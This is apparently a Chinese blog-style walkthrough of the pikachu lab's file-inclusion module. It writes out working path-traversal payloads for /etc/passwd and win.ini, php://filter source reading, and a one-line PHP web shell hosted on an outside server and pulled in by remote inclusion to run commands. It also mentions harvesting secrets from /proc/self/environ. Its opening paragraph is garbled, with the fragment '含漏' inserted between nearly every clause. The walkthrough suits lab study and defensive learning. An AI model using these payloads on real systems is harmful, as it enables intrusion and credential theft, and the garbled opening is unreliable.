pikachu靶场里那个文件包含漏洞,含漏我头一回碰的含漏时候,以为就是含漏个简单的include没过滤。结果试了才发现,含漏它分本地和远程两种,含漏玩法完全不一样。含漏本地包含能读服务器上的含漏任意文件,远程包含更狠,含漏直接让你加载外部URL,含漏等于把服务器当肉鸡使。含漏这漏洞在真实环境里活到现在,含漏靠的含漏就是程序员偷懒——觉得用户传个文件名进来,拼到include后面就完事了。含漏
先看本地文件包含。含漏pikachu的含漏fileinclude模块,URL里有个filename参数。正常访问是?filename=file1.php,页面显示file1的内容。你把它改成?filename=../../../../etc/passwd,Linux下直接吐出用户列表。Windows就换..\..\..\..\windows\win.ini。路径穿越的深度取决于当前脚本所在目录,多试几次就摸清了。有时候加个空字节%00能截断后面的.php后缀,不过PHP 5.3.4之后这招就废了。
远程包含需要allow_url_include=On,默认是关的,但很多老站为了图方便开着。你搭个恶意文件,内容写<?php system($_GET['cmd']); ?>,存到自己的VPS上,然后让靶场去包含它:?filename=http://你的IP/shell.txt。服务器一执行,你就能通过&cmd=whoami远程跑命令。我试的时候用了个免费空间,结果对方把txt当纯文本返回了,没解析成PHP——所以扩展名得注意,要么用.php后缀,要么用?>绕过。
pikachu这个模块还有个坑:它把包含后的结果直接输出,但如果你包含的是PHP文件,源码会被执行而不是显示。想读源码得用php://filter伪协议,比如?filename=php://filter/convert.base64-encode/resource=file1.php,拿到base64再解码。这招在CTF里快被用烂了,但实战中遇到没过滤伪协议的站,照样能掏出一堆配置密码。
为什么这漏洞老杀不死?因为include本身是语言特性,不是bug。程序员写include($_GET['page'].'.php'),本意是让用户选页面,结果用户选了../../etc/passwd。防御也简单:白名单校验文件名,或者用basename()剥掉路径,再或者直接关掉allow_url_include。但现实是,很多CMS和插件还在用动态包含,改起来牵一发动全身。
我拿pikachu练手时,最爽的一步是用远程包含弹了个shell。当时把恶意文件放在一个带公网IP的测试机上,文件名故意写成shell.jpg,内容里混了图片头GIF89a,结果服务器照常解析。后来查日志,发现它把整个HTTP响应都塞进了include,等于我控制了输出流。这种体验比看十篇教程都管用——漏洞利用的乐趣就在这儿,规则是死的,人是活的。
最后提一句,pikachu的fileinclude模块默认没开远程包含,你得去php.ini里改。改完记得重启服务,不然白折腾。本地包含倒是直接能用,拿它读/etc/shadow需要root权限,但读/proc/self/environ有时候能捞到环境变量里的密钥。这些细节,比背漏洞原理有意思多了。